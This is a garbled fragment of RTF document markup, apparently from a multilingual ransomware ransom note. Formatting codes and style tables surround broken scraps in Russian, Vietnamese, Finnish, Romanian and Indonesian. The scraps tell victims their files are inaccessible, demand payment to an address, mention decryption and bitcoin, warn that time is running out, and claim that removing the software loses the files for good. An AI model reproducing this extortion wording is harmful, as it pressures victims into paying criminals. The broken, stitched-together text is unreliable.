\\'ea\\'ee\\'ec\\'ef\\'fc\\'fe\\'f2\\'e5\\'f0\\'ee\\'ec\\loch\\f31529 ? \\loch\\f31529 \\hich\\f31529 \\'f1\\'f3\\'ec\\'ec\\'f3\\loch\\f31529 \\hich\\f31529 \\'ed\\'e0\\loch\\f31529 \\hich\\f31529 \\'e0\\'e4\\'f0\\'e5\\'f1\\loch\\f31529 \\hich\\f31529 , \\'f3\\'ea\\'e0\\'e7\\'e0\\'ed\\'ed\\'fb\\'e9\\loch\\f31529 \\hich\\f31529 \\'e2\\loch\\f31529 \\hich\\f31529 \\'fd \\loch\\f31529 \\hich\\f31529 \\'f4\\'e0\\'e9\\'eb\\'ee\\'e2\\loch\\f31529 \\hich\\f31529 \\'e1\\'ee\\'eb\\'fc\\'f8\\'e5\\loch\\f31529 \\hich\\f31529 \\'ed\\'e5\\'e4\\'ee\\'f1\\'f2\\'f3\\'ef\\'ed\\'fb\\loch\\f31529 \\hich\\f31529 , \\'ef\\'ee\\'f1\\'ea\\'ee\\'eb\\'fc\\'ea\\'f3\\loch\\f31529 \\loch\\f31529 \\hich\\f31529 \\'f4\\'e0\\'e9\\'eb\\'fb\\loch\\f31529 ? \\loch\\f31529 \\hich\\f31529 , \\'f7\\'f2\\'ee\\loch\\f31529 \\hich\\f31529 \\'e2\\'fb\\loch\\f31529 \\hich\\f31529 \\'f1\\'ec\\'ee\\'e6\\'e5\\'f2\\'e5\\loch\\f31529 \\hich\\f31529 \\'e1\\'e5\\'e7\\'ee\\'ef\\'e0\\'f1\\'ed\\'ee\\loch\\f31529 \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'e8 \\loch\\f31529 \\hich\\f31529 . \\'cd\\'ee\\loch\\f31529 \\hich\\f31529 \\'f3\\loch\\f31529 \\hich\\f31529 \\'e2\\'e0\\'f1\\loch\\f31529 \\hich\\f31529 \\'ed\\'e5\\loch\\f31529 \\hich\\f31529 \\'f2\\'e0\\'ea\\loch\\f31529 \\hich\\f31529 \\'ec\\'ed\\'ee\\'e3\\'ee\\loch\\f31529 \\hich\\f31529 \\loch\\f31536 \\hich\\f31536 n v\\'e0\\loch\\f31536 \\hich\\f31536 thanh to\\'e1\\loch\\f31536 \\hich\\f31536 n \\'f0\\'fd}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\loch\\f31536 \\hich\\f31536 ng l\\'ea\\loch\\f31536 n g}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\f31536 \\hich\\f31536 t \\'f0\\'fd}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\lsdpriority39 \\lsdlocked0 toc 1;\\lsdpriority39 \\lsdlocked0 toc 2;\\lsdpriority39 \\lsdlocked0 toc 3;\\lsdpriority39 \\lsdlocked0 toc 4;\\lsdpriority39 \\lsdlocked0 toc 5;\\lsdpriority39 \\lsdlocked0 toc 6;\\lsdpriority39 \\lsdlocked0 toc 7; \\lsdpriority39 \\lsdlocked0 toc 8;\\lsdpriority39 \\lsdlocked0 toc 9;\\lsdqformat1 \\lsdpriority35 \\lsdlocked0 caption;\\lsdsemihidden0 \\lsdunhideused0 \\lsdqformat1 \\lsdpriority10 \\lsdlocked0 Title;\\lsdpriority1 \\lsdlocked0 Default Paragraph Font; \\lsdqformat1 \\lsdpriority9 \\lsdlocked0 heading 5;\\lsdqformat1 \\lsdpriority9 \\lsdlocked0 heading 6;\\lsdqformat1 \\lsdpriority9 \\lsdlocked0 heading 7;\\lsdqformat1 \\lsdpriority9 \\lsdlocked0 heading 8;\\lsdqformat1 \\lsdpriority9 \\lsdlocked0 heading 9; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority59 \\lsdlocked0 Table Grid;\\lsdunhideused0 \\lsdlocked0 Placeholder Text;\\lsdsemihidden0 \\lsdunhideused0 \\lsdqformat1 \\lsdpriority1 \\lsdlocked0 No Spacing; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority60 \\lsdlocked0 Light Shading Accent 4;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority61 \\lsdlocked0 Light List Accent 4;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority62 \\lsdlocked0 Light Grid Accent 4; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority60 \\lsdlocked0 Light Shading;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority61 \\lsdlocked0 Light List;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority62 \\lsdlocked0 Light Grid; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority61 \\lsdlocked0 Light List Accent 1;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority62 \\lsdlocked0 Light Grid Accent 1;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority63 \\lsdlocked0 Medium Shading 1 Accent 1; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority61 \\lsdlocked0 Light List Accent 2;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority62 \\lsdlocked0 Light Grid Accent 2;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority63 \\lsdlocked0 Medium Shading 1 Accent 2; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority61 \\lsdlocked0 Light List Accent 5;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority62 \\lsdlocked0 Light Grid Accent 5;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority63 \\lsdlocked0 Medium Shading 1 Accent 5; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority62 \\lsdlocked0 Light Grid Accent 3;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority63 \\lsdlocked0 Medium Shading 1 Accent 3;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority64 \\lsdlocked0 Medium Shading 2 Accent 3; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority62 \\lsdlocked0 Light Grid Accent 6;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority63 \\lsdlocked0 Medium Shading 1 Accent 6;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority64 \\lsdlocked0 Medium Shading 2 Accent 6; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority63 \\lsdlocked0 Medium Shading 1 Accent 4;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority64 \\lsdlocked0 Medium Shading 2 Accent 4;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority65 \\lsdlocked0 Medium List 1 Accent 4; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority63 \\lsdlocked0 Medium Shading 1;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority64 \\lsdlocked0 Medium Shading 2;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority65 \\lsdlocked0 Medium List 1; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority64 \\lsdlocked0 Medium Shading 2 Accent 1;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority65 \\lsdlocked0 Medium List 1 Accent 1;\\lsdunhideused0 \\lsdlocked0 Revision; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority64 \\lsdlocked0 Medium Shading 2 Accent 2;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority65 \\lsdlocked0 Medium List 1 Accent 2;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority66 \\lsdlocked0 Medium List 2 Accent 2; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority64 \\lsdlocked0 Medium Shading 2 Accent 5;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority65 \\lsdlocked0 Medium List 1 Accent 5;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority66 \\lsdlocked0 Medium List 2 Accent 5; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority65 \\lsdlocked0 Medium List 1 Accent 3;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority66 \\lsdlocked0 Medium List 2 Accent 3;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority67 \\lsdlocked0 Medium Grid 1 Accent 3; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority65 \\lsdlocked0 Medium List 1 Accent 6;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority66 \\lsdlocked0 Medium List 2 Accent 6;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority67 \\lsdlocked0 Medium Grid 1 Accent 6; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority66 \\lsdlocked0 Medium List 2 Accent 1;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority67 \\lsdlocked0 Medium Grid 1 Accent 1;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority68 \\lsdlocked0 Medium Grid 2 Accent 1; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority66 \\lsdlocked0 Medium List 2 Accent 4;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority67 \\lsdlocked0 Medium Grid 1 Accent 4;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority68 \\lsdlocked0 Medium Grid 2 Accent 4; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority66 \\lsdlocked0 Medium List 2;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority67 \\lsdlocked0 Medium Grid 1;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority68 \\lsdlocked0 Medium Grid 2; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority67 \\lsdlocked0 Medium Grid 1 Accent 2;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority68 \\lsdlocked0 Medium Grid 2 Accent 2;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority69 \\lsdlocked0 Medium Grid 3 Accent 2; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority67 \\lsdlocked0 Medium Grid 1 Accent 5;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority68 \\lsdlocked0 Medium Grid 2 Accent 5;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority69 \\lsdlocked0 Medium Grid 3 Accent 5; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority68 \\lsdlocked0 Medium Grid 2 Accent 3;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority69 \\lsdlocked0 Medium Grid 3 Accent 3;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority70 \\lsdlocked0 Dark List Accent 3; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority68 \\lsdlocked0 Medium Grid 2 Accent 6;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority69 \\lsdlocked0 Medium Grid 3 Accent 6;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority70 \\lsdlocked0 Dark List Accent 6; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority69 \\lsdlocked0 Medium Grid 3 Accent 1;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority70 \\lsdlocked0 Dark List Accent 1;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority71 \\lsdlocked0 Colorful Shading Accent 1; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority69 \\lsdlocked0 Medium Grid 3 Accent 4;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority70 \\lsdlocked0 Dark List Accent 4;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority71 \\lsdlocked0 Colorful Shading Accent 4; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority69 \\lsdlocked0 Medium Grid 3;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority70 \\lsdlocked0 Dark List;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority71 \\lsdlocked0 Colorful Shading; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority70 \\lsdlocked0 Dark List Accent 2;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority71 \\lsdlocked0 Colorful Shading Accent 2;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority72 \\lsdlocked0 Colorful List Accent 2; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority70 \\lsdlocked0 Dark List Accent 5;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority71 \\lsdlocked0 Colorful Shading Accent 5;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority72 \\lsdlocked0 Colorful List Accent 5; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority71 \\lsdlocked0 Colorful Shading Accent 3;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority72 \\lsdlocked0 Colorful List Accent 3;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority73 \\lsdlocked0 Colorful Grid Accent 3; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority71 \\lsdlocked0 Colorful Shading Accent 6;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority72 \\lsdlocked0 Colorful List Accent 6;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority73 \\lsdlocked0 Colorful Grid Accent 6; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority72 \\lsdlocked0 Colorful List Accent 1;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority73 \\lsdlocked0 Colorful Grid Accent 1;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority60 \\lsdlocked0 Light Shading Accent 2; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority72 \\lsdlocked0 Colorful List Accent 4;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority73 \\lsdlocked0 Colorful Grid Accent 4;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority60 \\lsdlocked0 Light Shading Accent 5; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority72 \\lsdlocked0 Colorful List;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority73 \\lsdlocked0 Colorful Grid;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority60 \\lsdlocked0 Light Shading Accent 1; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority73 \\lsdlocked0 Colorful Grid Accent 2;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority60 \\lsdlocked0 Light Shading Accent 3;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority61 \\lsdlocked0 Light List Accent 3; \\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority73 \\lsdlocked0 Colorful Grid Accent 5;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority60 \\lsdlocked0 Light Shading Accent 6;\\lsdsemihidden0 \\lsdunhideused0 \\lsdpriority61 \\lsdlocked0 Light List Accent 6; \\lsdsemihidden0 \\lsdunhideused0 \\lsdqformat1 \\lsdpriority11 \\lsdlocked0 Subtitle;\\lsdsemihidden0 \\lsdunhideused0 \\lsdqformat1 \\lsdpriority22 \\lsdlocked0 Strong;\\lsdsemihidden0 \\lsdunhideused0 \\lsdqformat1 \\lsdpriority20 \\lsdlocked0 Emphasis; \\lsdsemihidden0 \\lsdunhideused0 \\lsdqformat1 \\lsdpriority19 \\lsdlocked0 Subtle Emphasis;\\lsdsemihidden0 \\lsdunhideused0 \\lsdqformat1 \\lsdpriority21 \\lsdlocked0 Intense Emphasis; \\lsdsemihidden0 \\lsdunhideused0 \\lsdqformat1 \\lsdpriority31 \\lsdlocked0 Subtle Reference;\\lsdsemihidden0 \\lsdunhideused0 \\lsdqformat1 \\lsdpriority32 \\lsdlocked0 Intense Reference; \\lsdsemihidden0 \\lsdunhideused0 \\lsdqformat1 \\lsdpriority33 \\lsdlocked0 Book Title;\\lsdpriority37 \\lsdlocked0 Bibliography;\\lsdqformat1 \\lsdpriority39 \\lsdlocked0 TOC Heading;}}{\\*\\datastore 010500000200000018000000 \\lsdsemihidden0 \\lsdunhideused0 \\lsdqformat1 \\lsdpriority34 \\lsdlocked0 List Paragraph;\\lsdsemihidden0 \\lsdunhideused0 \\lsdqformat1 \\lsdpriority29 \\lsdlocked0 Quote;\\lsdsemihidden0 \\lsdunhideused0 \\lsdqformat1 \\lsdpriority30 \\lsdlocked0 Intense Quote; \\lsdsemihidden0 \\lsdunhideused0 \\lsdqformat1 \\lsdpriority9 \\lsdlocked0 heading 1;\\lsdqformat1 \\lsdpriority9 \\lsdlocked0 heading 2;\\lsdqformat1 \\lsdpriority9 \\lsdlocked0 heading 3;\\lsdqformat1 \\lsdpriority9 \\lsdlocked0 heading 4; \\ltrch\\fcs0 \\b\\fs28\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\line }{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\ltrch\\fcs0 \\cs17\\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\hich\\af18\\dbch\\af18\\loch\\f18 exe}{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\cs17\\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ti}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n! \\ltrch\\fcs0 \\f31502\\fs22\\insrsid13779469 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Decrypt}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid15532574\\charrsid13779469 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. Th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 p v\\'e0\\loch\\f31502 o . \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i gian t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 t nh}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31536\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31536\\dbch\\af31505\\loch\\f31536 \\hich\\f31536 t\\'e3 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 t th\\'ea \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n Th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 bi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 nh trong c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 n\\'e0 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 i d\\'f9 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 c m\\'e3 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 S\\'e1 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 a s}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 About}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14574943\\charrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 bitcoin>. \\ltrch\\fcs0 \\f31502\\fs22\\insrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Contact Us}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14574943\\charrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. \\ltrch\\fcs0 \\f31502\\fs22\\insrsid5593755\\charrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 tapahtumia niille k\\'e4\\loch\\f31502 \\hich\\f31502 ytt\\'e4\\loch\\f31502 \\hich\\f31502 jille, jotka ovat niin k\\'f6\\loch\\f31502 \\hich\\f31502 yhi\\'e4 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i clic pe <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Check Payme \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i u}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ii, da}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 or. Dar nu ai suficient timp. \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 ierele f\\'e3 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i clic pe . \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ii, face}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 t \\'f0}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\ltrch\\fcs0 \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 24674\\'89\\'f8\ \\ltrch\\fcs0 \\fs22\\cf6\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid13717663\\charrsid6386681 \\hich\\af31502\\dbch\\af53\\loch\\f31502 virus Anda diperbarui dan menghapus perangkat lunak ini secara otomatis, Anda tidak akan dapat memulihkan file Anda \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\hich\\af11\\dbch\\af11\\loch\\f11 }{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\line }{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -30005\\'90\\'bf\ \\af41\\afs22 \\ltrch\\fcs0 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -30005\\'90\\'bf}{\\rtlch\\fcs1 \\af11\\afs22 \\ltrch\\fcs0 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -32515\\'94\\'5c\ \\af11\\afs22 \\ltrch\\fcs0 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 22825\\'93\\'56\ \\af12\\afs22 \\ltrch\\fcs0 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 c1\ \\af36\\afs22 